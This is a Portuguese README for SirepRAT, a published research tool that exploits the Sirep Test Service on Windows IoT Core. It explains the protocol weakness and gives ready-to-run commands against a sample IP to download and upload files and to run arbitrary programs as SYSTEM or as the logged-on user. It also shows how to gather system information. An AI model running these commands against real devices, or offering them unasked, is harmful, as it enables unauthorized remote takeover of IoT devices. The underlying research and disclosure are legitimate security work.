SirepRAT - RCE como SYSTEM no Windows IoT Core

SirepRAT oferece recursos completos de RAT sem a necessidade de escrever um malware RAT real no alvo.

Contexto

O método explora o Sirep Test Service que está integrado e em execução nas imagens oficiais oferecidas no site da Microsoft. Esse serviço é a parte cliente da configuração do HLK que se pode construir para realizar testes de driver/hardware no dispositivo IoT. Ele atende ao protocolo Sirep/WPCon/TShell.

Analisamos o protocolo Sirep/WPCon e demonstramos como esse protocolo expõe uma interface de comando remota para atacantes, que inclui capacidades de RAT, como obter/colocar arquivos arbitrários em locais arbitrários e obter informações do sistema.

Com base nas descobertas que extraímos desta pesquisa sobre o serviço e o protocolo, construímos uma ferramenta simples em Python que permite explorá-los usando os diferentes comandos suportados. Nós a chamamos de SirepRAT.

Ela possui uma interface de usuário fácil e intuitiva para enviar comandos a um alvo Windows IoT Core. Funciona em qualquer dispositivo conectado por cabo que execute o Windows IoT Core com uma imagem oficial da Microsoft.

Slides e White Paper

Slides e o White Paper da pesquisa estão na pasta docs

Configuração

pip install -r requirements.txt

Uso

Baixar Arquivo

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v

Enviar Arquivo

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Executar Programa Arbitrário

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Com argumentos, assumindo a identidade do usuário atualmente conectado:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Tente executar sem a flag as_logged_on_user para demonstrar a capacidade de execução como SYSTEM)

Obter Informações do Sistema

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Obter Informações do Arquivo

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Consulte a ajuda para detalhes completos:

python SirepRAT.py --help

Autor

Dor Azouri (@bemikre)

Contribuidores

movatica (@movatica) - portando para o Python 3! (na linha de chegada de 2020)

Licença

BSD 3 - cláusula "New" ou "Revised" da Licença